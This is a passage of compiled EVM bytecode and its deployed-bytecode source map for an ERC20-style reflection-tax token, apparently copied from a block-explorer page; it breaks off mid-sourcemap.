fffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612427826007546122ad90919063ffffffff16565b600781905550612442816008546122f790919063ffffffff16565b6008819055505050565b600080600080612478606461246a888a61256b90919063ffffffff16565b611f8090919063ffffffff16565b905060006124a26064612494888b61256b90919063ffffffff16565b611f8090919063ffffffff16565b905060006124cb826124bd858c6122ad90919063ffffffff16565b6122ad90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124fb858961256b90919063ffffffff16565b90506000612512868961256b90919063ffffffff16565b90506000612529878961256b90919063ffffffff16565b905060006125528261254485876122ad90919063ffffffff16565b6122ad90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561257e57600090506125e0565b6000828461258c919061300c565b905082848261259b9190612fdb565b146125db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d290612d8f565b60405180910390fd5b809150505b92915050565b60006125f96125f484612f04565b612edf565b9050808382526020820190508285602086028201111561261857600080fd5b60005b85811015612648578161262e8882612652565b84526020840193506020830192505060018101905061261b565b5050509392505050565b60008135905061266181613519565b92915050565b60008151905061267681613519565b92915050565b600082601f83011261268d57600080fd5b813561269d8482602086016125e6565b91505092915050565b6000813590506126b581613530565b92915050565b6000815190506126ca81613530565b92915050565b6000813590506126df81613547565b92915050565b6000815190506126f481613547565b92915050565b60006020828403121561270c57600080fd5b600061271a84828501612652565b91505092915050565b60006020828403121561273557600080fd5b600061274384828501612667565b91505092915050565b6000806040838503121561275f57600080fd5b600061276d85828601612652565b925050602061277e85828601612652565b9150509250929050565b60008060006060848603121561279d57600080fd5b60006127ab86828701612652565b93505060206127bc86828701612652565b92505060406127cd868287016126d0565b9150509250925092565b600080604083850312156127ea57600080fd5b60006127f885828601612652565b9250506020612809858286016126d0565b9150509250929050565b60006020828403121561282557600080fd5b600082013567ffffffffffffffff81111561283f57600080fd5b61284b8482850161267c565b91505092915050565b60006020828403121561286657600080fd5b6000612874848285016126a6565b91505092915050565b60006020828403121561288f57600080fd5b600061289d848285016126bb565b91505092915050565b6000602082840312156128b857600080fd5b60006128c6848285016126d0565b91505092915050565b600080604083850312156128e257600080fd5b60006128f0858286016126d0565b9250506020612901858286016126d0565b9150509250929050565b60008060006060848603121561292057600080fd5b600061292e868287016126e5565b935050602061293f868287016126e5565b9250506040612950868287016126e5565b9150509250925092565b60006129668383612972565b60208301905092915050565b61297b8161309a565b82525050565b61298a8161309a565b82525050565b600061299b82612f40565b6129a58185612f63565b93506129b083612f30565b8060005b838110156129e15781516129c8888261295a565b97506129d383612f56565b9250506001810190506129b4565b5085935050505092915050565b6129f7816130ac565b82525050565b612a06816130ef565b82525050565b6000612a1782612f4b565b612a218185612f74565b9350612a31818560208601613101565b612a3a8161323b565b840191505092915050565b6000612a52602383612f74565b9150612a5d8261324c565b604082019050919050565b6000612a75602a83612f74565b9150612a808261329b565b604082019050919050565b6000612a98602283612f74565b9150612aa3826132ea565b604082019050919050565b6000612abb601783612f74565b9150612ac682613339565b602082019050919050565b6000612ade601b83612f74565b9150612ae982613362565b602082019050919050565b6000612b01602183612f74565b9150612b0c8261338b565b604082019050919050565b6000612b24602083612f74565b9150612b2f826133da565b602082019050919050565b6000612b47602983612f74565b9150612b5282613403565b604082019050919050565b6000612b6a602583612f74565b9150612b7582613452565b604082019050919050565b6000612b8d602483612f74565b9150612b98826134a1565b604082019050919050565b6000612bb0601883612f74565b9150612bbb826134f0565b602082019050919050565b612bcf816130d8565b82525050565b612bde816130e2565b82525050565b6000602082019050612bf96000830184612981565b92915050565b6000604082019050612c146000830185612981565b612c216020830184612981565b9392505050565b6000604082019050612c3d6000830185612981565b612c4a6020830184612bc6565b9392505050565b600060c082019050612c666000830189612981565b612c736020830188612bc6565b612c8060408301876129fd565b612c8d60608301866129fd565b612c9a6080830185612981565b612ca760a0830184612bc6565b979650505050505050565b6000602082019050612cc760008301846129ee565b92915050565b60006020820190508181036000830152612ce78184612a0c565b905092915050565b60006020820190508181036000830152612d0881612a45565b9050919050565b60006020820190508181036000830152612d2881612a68565b9050919050565b60006020820190508181036000830152612d4881612a8b565b9050919050565b60006020820190508181036000830152612d6881612aae565b9050919050565b60006020820190508181036000830152612d8881612ad1565b9050919050565b60006020820190508181036000830152612da881612af4565b9050919050565b60006020820190508181036000830152612dc881612b17565b9050919050565b60006020820190508181036000830152612de881612b3a565b9050919050565b60006020820190508181036000830152612e0881612b5d565b9050919050565b60006020820190508181036000830152612e2881612b80565b9050919050565b60006020820190508181036000830152612e4881612ba3565b9050919050565b6000602082019050612e646000830184612bc6565b92915050565b600060a082019050612e7f6000830188612bc6565b612e8c60208301876129fd565b8181036040830152612e9e8186612990565b9050612ead6060830185612981565b612eba6080830184612bc6565b9695505050505050565b6000602082019050612ed96000830184612bd5565b92915050565b6000612ee9612efa565b9050612ef58282613134565b919050565b6000604051905090565b600067ffffffffffffffff821115612f1f57612f1e61320c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f90826130d8565b9150612f9b836130d8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fd057612fcf6131ae565b5b828201905092915050565b6000612fe6826130d8565b9150612ff1836130d8565b925082613001576130006131dd565b5b828204905092915050565b6000613017826130d8565b9150613022836130d8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561305b5761305a6131ae565b5b828202905092915050565b6000613071826130d8565b915061307c836130d8565b92508282101561308f5761308e6131ae565b5b828203905092915050565b60006130a5826130b8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130fa826130d8565b9050919050565b60005b8381101561311f578082015181840152602081019050613104565b8381111561312e576000848401525b50505050565b61313d8261323b565b810181811067ffffffffffffffff8211171561315c5761315b61320c565b5b80604052505050565b6000613170826130d8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131a3576131a26131ae565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b6135228161309a565b811461352d57600080fd5b50565b613539816130ac565b811461354457600080fd5b50565b613550816130d8565b811461355b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c7574883d2cc0fcea54ed3abe4f4950906035fd2f696f47cac34ba345328562f64736f6c63430008040033

Deployed Bytecode Sourcemap

3167:9356:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5004:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5768:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5245:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5921:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9487:79;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5166:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10532:174;;;;;;;;;;;;;:::i;:::-;;6218:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6866:158;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5338:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2392:133;;;;;;;;;;;;;:::i;:::-;;2207:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5083:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5472:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12199:82;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9264:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8656:603;;;;;;;;;;;;;:::i;:::-;;5629:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10711:173;;;;;;;;;;;;;:::i;:::-;;5004:74;5041:13;5068:5;;;;;;;;;;;;;;;;;5061:12;;5004:74;:::o;5768:146::-;5843:4;5854:39;5863:12;:10;:12::i;:::-;5877:7;5886:6;5854:8;:39::i;:::-;5905:4;5898:11;;5768:146;;;;:::o;5245:88::-;5300:7;5321;;5314:14;;5245:88;:::o;5921:292::-;6019:4;6030:36;6040:6;6048:9;6059:6;6030:9;:36::i;:::-;6071:121;6080:6;6088:12;:10;:12::i;:::-;6102:89;6140:6;6102:89;;;;;;;;;;;;;;;;;:11;:19;6114:6;6102:19;;;;;;;;;;;;;;;:33;6122:12;:10;:12::i;:::-;6102:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6071:8;:121::i;:::-;6204:4;6197:11;;5921:292;;;;;:::o;9487:79::-;2326:12;:10;:12::i;:::-;2316:22;;:6;;;;;;;;;;:22;;;2308:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9556:5:::1;9541:4;:12;9546:6;9541:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;9487:79:::0;:::o;5166:74::-;5207:5;5166:74;:::o;10532:174::-;10592:15;;;;;;;;;;;10576:31;;:12;:10;:12::i;:::-;:31;;;10568:40;;;;;;10613:23;10639:24;10657:4;10639:9;:24::i;:::-;10613:50;;10668:33;10685:15;10668:16;:33::i;:::-;10532:174;:::o;6218:92::-;2326:12;:10;:12::i;:::-;2316:22;;:6;;;;;;;;;;:22;;;2308:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6300:5:::1;6282:15;;:23;;;;;;;;;;;;;;;;;;6218:92:::0;:::o;6866:158::-;2326:12;:10;:12::i;:::-;2316:22;;:6;;;;;;;;;;:22;;;2308:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6941:1:::1;6935:4;:7;;:18;;;;;6952:1;6946:4;:7;;6935:18;6927:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;6996:4;6986:9;:14;;;;7015:4;7005:9;:14;;;;6866:158:::0;;:::o;5338:129::-;5404:7;5425:37;5445:7;:16;5453:7;5445:16;;;;;;;;;;;;;;;;5425:19;:37::i;:::-;5418:44;;5338:129;;;:::o;2392:133::-;2326:12;:10;:12::i;:::-;2316:22;;:6;;;;;;;;;;:22;;;2308:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2493:1:::1;2456:40;;2477:6;::::0;::::1;;;;;;;;2456:40;;;;;;;;;;;;2518:1;2501:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2392:133::o:0;2207:70::-;2245:7;2266:6;;;;;;;;;;;2259:13;;2207:70;:::o;5083:78::-;5122:13;5149:7;;;;;;;;;;;;;;;;;5142:14;;5083:78;:::o;5472:152::-;5550:4;5561:42;5571:12;:10;:12::i;:::-;5585:9;5596:6;5561:9;:42::i;:::-;5615:4;5608:11;;5472:152;;;;:::o;12199:82::-;9457:12;:10;:12::i;:::-;9443:26;;:10;;;;;;;;;;;:26;;;9435:36;;;;;;12271:5:::1;12260:8;:16;;;;12199:82:::0;:::o;9264:140::-;2326:12;:10;:12::i;:::-;2316:22;;:6;;;;;;;;;;:22;;;2308:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9332:6:::1;9327:73;9348:5;:12;9344:1;:16;9327:73;;;9390:4;9373;:14;9378:5;9384:1;9378:8;;;;;;;;;;;;;;;;;;;;;;9373:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;9362:3;;;;;:::i;:::-;;;;9327:73;;;;9264:140:::0;:::o;8656:603::-;2326:12;:10;:12::i;:::-;2316:22;;:6;;;;;;;;;;:22;;;2308:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8714:11:::1;;;;;;;;;;;8713:12;8705:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;8758:58;8775:4;8790:15;;;;;;;;;;;8808:7;;8758:8;:58::i;:::-;8855:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8837:55;;;8901:4;8908:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8837:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8821:13;;:110;;;;;;;;;;;;;;;;;;8936:15;;;;;;;;;;;:31;;;8976:21;9007:4;9014:24;9032:4;9014:9;:24::i;:::-;9040:1;9043::::0;9046:7:::1;:5;:7::i;:::-;9055:15;8936:135;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9090:4;9076:11;;:18;;;;;;;;;;;;;;;;;;9117:4;9099:15;;:22;;;;;;;;;;;;;;;;;;9137:18;9126:8;:29;;;;9174:4;9160:11;;:18;;;;;;;;;;;;;;;;;;9190:13;;;;;;;;;;;9183:29;;;9221:15;;;;;;;;;;;9239:14;9183:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8656:603::o:0;5629:134::-;5710:7;5731:11;:18;5743:5;5731:18;;;;;;;;;;;;;;;:27;5750:7;5731:27;;;;;;;;;;;;;;;;5724:34;;5629:134;;;;:::o;10711:173::-;10771:15;;;;;;;;;;;10755:31;;:12;:10;:12::i;:::-;:31;;;10747:40;;;;;;10792:26;10821:21;10792:50;;10847:32;10860:18;10847:12;:32::i;:::-;10711:173;:::o;165:89::-;218:7;239:10;232:17;;165:89;:::o;6553:308::-;6657:1;6640:19;;:5;:19;;;;6632:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6732:1;6713:21;;:7;:21;;;;6705:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6808:6;6778:11;:18;6790:5;6778:18;;;;;;;;;;;;;;;:27;6797:7;6778:27;;;;;;;;;;;;;;;:36;;;;6840:7;6824:32;;6833:5;6824:32;;;6849:6;6824:32;;;;;;:::i;:::-;;;;;;;;6553:308;;;:::o;7029:1100::-;7127:1;7111:18;;:4;:18;;;;7103:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7198:1;7184:16;;:2;:16;;;;7176:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7262:1;7253:6;:10;7245:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7328:7;:5;:7::i;:::-;7320:15;;:4;:15;;;;:32;;;;;7345:7;:5;:7::i;:::-;7339:13;;:2;:13;;;;7320:32;7316:770;;;7369:4;:10;7374:4;7369:10;;;;;;;;;;;;;;;;;;;;;;;;;7368:11;:24;;;;;7384:4;:8;7389:2;7384:8;;;;;;;;;;;;;;;;;;;;;;;;;7383:9;7368:24;7360:33;;;;;;7411:13;;;;;;;;;;;7403:21;;:4;:21;;;:55;;;;;7442:15;;;;;;;;;;;7428:30;;:2;:30;;;;7403:55;:83;;;;;7464:18;:22;7483:2;7464:22;;;;;;;;;;;;;;;;;;;;;;;;;7462:24;7403:83;:102;;;;;7490:15;;;;;;;;;;;7403:102;7399:230;;;7554:15;7539:8;:12;7548:2;7539:12;;;;;;;;;;;;;;;;:30;7531:39;;;;;;7611:10;7592:15;:30;;;;:::i;:::-;7577:8;:12;7586:2;7577:12;;;;;;;;;;;;;;;:45;;;;7399:230;7646:13;;;;;;;;;;;7640:19;;:2;:19;;;:55;;;;;7679:15;;;;;;;;;;;7663:32;;:4;:32;;;;7640:55;:85;;;;;7701:18;:24;7720:4;7701:24;;;;;;;;;;;;;;;;;;;;;;;;;7699:26;7640:85;7636:132;;;7752:8;;7742:6;:18;;7734:27;;;;;;7636:132;7773:28;7804:24;7822:4;7804:9;:24::i;:::-;7773:55;;7839:6;;;;;;;;;;;7838:7;:32;;;;;7857:13;;;;;;;;;;;7849:21;;:4;:21;;;;7838:32;:47;;;;;7874:11;;;;;;;;;;;7838:47;7834:247;;;7894:38;7911:20;7894:16;:38::i;:::-;7939:26;7968:21;7939:50;;8021:1;8000:18;:22;7996:79;;;8032:35;8045:21;8032:12;:35::i;:::-;7996:79;7834:247;;7316:770;;8092:32;8107:4;8113:2;8117:6;8092:14;:32::i;:::-;7029:1100;;;:::o;1242:169::-;1328:7;1355:1;1350;:6;;1358:12;1342:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1376:9;1392:1;1388;:5;;;;:::i;:::-;1376:17;;1405:1;1398:8;;;1242:169;;;;;:::o;8134:373::-;4341:4;4332:6;;:13;;;;;;;;;;;;;;;;;;8206:21:::1;8244:1;8230:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8206:40;;8269:4;8251;8256:1;8251:7;;;;;;;;;;;;;;;;;;;;;:23;;;;;;;;;::::0;::::1;8289:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8279:4;8284:1;8279:7;;;;;;;;;;;;;;;;;;;;;:32;;;;;;;;;::::0;::::1;8316:62;8333:4;8348:15;;;;;;;;;;;8366:11;8316:8;:62::i;:::-;8383:15;;;;;;;;;;;:66;;;8450:11;8463:1;8466:4;8479;8486:15;8383:119;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;4350:1;4365:5:::0;4356:6;;:14;;;;;;;;;;;;;;;;;;8134:373;:::o;6315:233::-;6383:7;6416;;6405;:18;;6397:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6475:19;6497:10;:8;:10::i;:::-;6475:32;;6519:24;6531:11;6519:7;:11;;:24;;;;:::i;:::-;6512:31;;;6315:233;;;:::o;8512:139::-;8563:15;;;;;;;;;;;:24;;:39;8588:13;8599:1;8588:6;:10;;:13;;;;:::i;:::-;8563:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8607:15;;;;;;;;;;;:24;;:39;8632:13;8643:1;8632:6;:10;;:13;;;;:::i;:::-;8607:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8512:139;:::o;9571:137::-;9659:44;9677:6;9685:9;9696:6;9659:17;:44::i;:::-;9571:137;;;:::o;12047:149::-;12089:7;12104:15;12121;12140:19;:17;:19::i;:::-;12103:56;;;;12171:20;12183:7;12171;:11;;:20;;;;:::i;:::-;12164:27;;;;12047:149;:::o;1625:123::-;1683:7;1704:39;1708:1;1711;1704:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1697:46;;1625:123;;;;:::o;9713:448::-;9806:15;9823:23;9848:12;9862:23;9887:12;9901:13;9918:19;9929:7;9918:10;:19::i;:::-;9805:132;;;;;;;;;;;;9960:28;9980:7;9960;:15;9968:6;9960:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;9942:7;:15;9950:6;9942:15;;;;;;;;;;;;;;;:46;;;;10014:39;10037:15;10014:7;:18;10022:9;10014:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;9993:7;:18;10001:9;9993:18;;;;;;;;;;;;;;;:60;;;;10058:16;10068:5;10058:9;:16::i;:::-;10079:23;10091:4;10097;10079:11;:23::i;:::-;10129:9;10112:44;;10121:6;10112:44;;;10140:15;10112:44;;;;;;:::i;:::-;;;;;;;;9713:448;;;;;;;;;:::o;12290:230::-;12341:7;12350;12364:15;12382:7;;12364:25;;12394:15;12412:7;;12394:25;;12438:20;12450:7;;12438;;:11;;:20;;;;:::i;:::-;12428:7;:30;12424:61;;;12468:7;;12477;;12460:25;;;;;;;;12424:61;12498:7;12507;12490:25;;;;;;12290:230;;;:::o;1753:168::-;1839:7;1865:1;1861;:5;1868:12;1853:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1886:9;1902:1;1898;:5;;;;:::i;:::-;1886:17;;1915:1;1908:8;;;1753:168;;;;;:::o;10889:443::-;10948:7;10957;10966;10975;10984;10993;11008:23;11033:12;11047:13;11064:42;11076:7;11085:9;;11096;;11064:11;:42::i;:::-;11007:99;;;;;;11111:19;11133:10;:8;:10::i;:::-;11111:32;;11149:15;11166:23;11191:12;11207:46;11219:7;11228:4;11234:5;11241:11;11207;:46::i;:::-;11148:105;;;;;;11266:7;11275:15;11292:4;11298:15;11315:4;11321:5;11258:69;;;;;;;;;;;;;;;;;;;10889:443;;;;;;;:::o;1110:127::-;1168:7;1189:43;1193:1;1196;1189:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1182:50;;1110:127;;;;:::o;947:158::-;1005:7;1019:9;1035:1;1031;:5;;;;:::i;:::-;1019:17;;1054:1;1049;:6;;1041:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1099:1;1092:8;;;947:158;;;;:::o;10166:190::-;10213:19;10235:10;:8;:10::i;:::-;10213:32;;10250:13;10266:22;10276:11;10266:5;:9;;:22;;;;:::i;:::-;10250:38;;10318:33;10345:5;10318:7;:22;10334:4;10318:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;10293:7;:22;10309:4;10293:22;;;;;;;;;;;;;;;:58;;;;10166:190;;;:::o;10361:132::-;10433:17;10445:4;10433:7;;:11;;:17;;;;:::i;:::-;10423:7;:27;;;;10468:20;10483:4;10468:10;;:14;;:20;;;;:::i;:::-;10455:10;:33;;;;10361:132;;:::o;11337:324::-;11430:7;11439;11448;11462:12;11477:28;11501:3;11477:19;11489:6;11477:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;11462:43;;11510:13;11526:29;11551:3;11526:20;11538:7;11526;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;11510:45;;11560:23;11586:28;11608:5;11586:17;11598:4;11586:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;11560:54;;11627:15;11644:4;11650:5;11619:37;;;;;;;;;11337:324;;;;;;;:::o;11666:376::-;11776:7;11785;11794;11808:15;11826:24;11838:11;11826:7;:11;;:24;;;;:::i;:::-;11808:42;;11855:12;11870:21;11879:11;11870:4;:8;;:21;;;;:::i;:::-;11855:36;;11896:13;11912:22;11922:11;11912:5;:9;;:22;;;;:::i;:::-;11896:38;;11939:23;11965:28;11987:5;11965:17;11977:4;11965:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;11939:54;;12006:7;12015:15;12032:4;11998:39;;;;;;;;;;11666:376;;;;;;;;:::o;1416:204::-;1474:7;1497:1;1492;:6;1488:32;;;1513:1;1506:8;;;;1488:32;1524:9;1540:1;1536;:5;;;;:::i;:::-;1524:17;;1563:1;1558;1554;:5;;;;:::i;:::-;:10;1546:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1614:1;1607:8;;;1416:204;;;;;:::o;24:655:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;414:1;411;404:12;350:2;450:1;435:238;460:6;457:1;454:13;435:238;;;528:3;557:37;590:3;578:10;557:37;:::i;:::-;552:3;545:50;624:4;619:3;615:14;608:21;;658:4;653:3;649:14;642:21;;495:178;482:1;479;475:9;470:14;;435:238;;;439:14;126:553;;;;;;;:::o;685:139::-;731:5;769:6;756:20;747:29;;785:33;812:5;785:33;:::i;:::-;737:87;;;;:::o;830:143::-;887:5;918:6;912:13;903:22;;934:33;961:5;934:33;:::i;:::-;893:80;;;;:::o;996:303::-;1067:5;1116:3;1109:4;1101:6;1097:17;1093:27;1083:2;;1134:1;1131;1124:12;1083:2;1174:6;1161:20;1199:94;1289:3;1281:6;1274:4;1266:6;1262:17;1199:94;:::i;:::-;1190:103;;1073:226;;;;;:::o;1305:133::-;1348:5;1386:6;1373:20;1364:29;;1402:30;1426:5;1402:30;:::i;:::-;1354:84;;;;:::o;1444:137::-;1498:5;1529:6;1523:13;1514:22;;1545:30;1569:5;1545:30;:::i;:::-;1504:77;;;;:::o;1587:139::-;1633:5;1671:6;1658:20;1649:29;;1687:33;1714:5;1687:33;:::i;:::-;1639:87;;;;:::o;1732:143::-;1789:5;1820:6;1814:13;1805:22;;1836:33;1863:5;1836:33;:::i;:::-;1795:80;;;;:::o;1881:262::-;1940:6;1989:2;1977:9;1968:7;1964:23;1960:32;1957:2;;;2005:1;2002;1995:12;1957:2;2048:1;2073:53;2118:7;2109:6;2098:9;2094:22;2073:53;:::i;:::-;2063:63;;2019:117;1947:196;;;;:::o;2149:284::-;2219:6;2268:2;2256:9;2247:7;2243:23;2239:32;2236:2;;;2284:1;2281;2274:12;2236:2;2327:1;2352:64;2408:7;2399:6;2388:9;2384:22;2352:64;:::i;:::-;2342:74;;2298:128;2226:207;;;;:::o;2439:407::-;2507:6;2515;2564:2;2552:9;2543:7;2539:23;2535:32;2532:2;;;2580:1;2577;2570:12;2532:2;2623:1;2648:53;2693:7;2684:6;2673:9;2669:22;2648:53;:::i;:::-;2638:63;;2594:117;2750:2;2776:53;2821:7;2812:6;2801:9;2797:22;2776:53;:::i;:::-;2766:63;;2721:118;2522:324;;;;;:::o;2852:552::-;2929:6;2937;2945;2994:2;2982:9;2973:7;2969:23;2965:32;2962:2;;;3010:1;3007;3000:12;2962:2;3053:1;3078:53;3123:7;3114:6;3103:9;3099:22;3078:53;:::i;:::-;3068:63;;3024:117;3180:2;3206:53;3251:7;3242:6;3231:9;3227:22;3206:53;:::i;:::-;3196:63;;3151:118;3308:2;3334:53;3379:7;3370:6;3359:9;3355:22;3334:53;:::i;:::-;3324:63;;3279:118;2952:452;;;;;:::o;3410:407::-;3478:6;3486;3535:2;3523:9;3514:7;3510:23;3506:32;3503:2;;;3551:1;3548;3541:12;3503:2;3594:1;3619:53;3664:7;3655:6;3644:9;3640:22;3619:53;:::i;:::-;3609:63;;3565:117;3721:2;3747:53;3792:7;3783:6;3772:9;3768:22;3747:53;:::i;:::-;3737:63;;3692:118;3493:324;;;;;:::o;3823:405::-;3907:6;3956:2;3944:9;3935:7;3931:23;3927:32;3924:2;;;3972:1;3969;3962:12;3924:2;4043:1;4032:9;4028:17;4015:31;4073:18;4065:6;4062:30;4059:2;;;4105:1;4102;4095:12;4059:2;4133:78;4203:7;4194:6;4183:9;4179:22;4133:78;:::i;:::-;4123:88;;3986:235;3914:314;;;;:::o;4234:256::-;4290:6;4339:2;4327:9;4318:7;4314:23;4310:32;4307:2;;;4355:1;4352;4345:12;4307:2;4398:1;4423:50;4465:7;4456:6;4445:9;4441:22;4423:50;:::i;:::-;4413:60;;4369:114;4297:193;;;;:::o;4496:278::-;4563:6;4612:2;4600:9;4591:7;4587:23;4583:32;4580:2;;;4628:1;4625;4618:12;4580:2;4671:1;4696:61;4749:7;4740:6;4729:9;4725:22;4696:61;:::i;:::-;4686:71;;4642:125;4570:204;;;;:::o;4780:262::-;4839:6;4888:2;4876:9;4867:7;4863:23;4859:32;4856:2;;;4904:1;4901;4894:12;4856:2;4947:1;4972:53;5017:7;5008:6;4997:9;4993:22;4972:53;:::i;:::-;4962:63;;4918:117;4846:196;;;;:::o;5048:407::-;5116:6;5124;5173:2;5161:9;5152:7;5148:23;5144:32;5141:2;;;5189:1;5186;5179:12;5141:2;5232:1;5257:53;5302:7;52